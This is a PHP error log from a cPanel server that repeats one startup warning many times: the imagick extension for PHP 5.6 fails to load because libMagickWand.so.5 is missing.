[28-Aug-2026 08:32:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:32:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:31 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
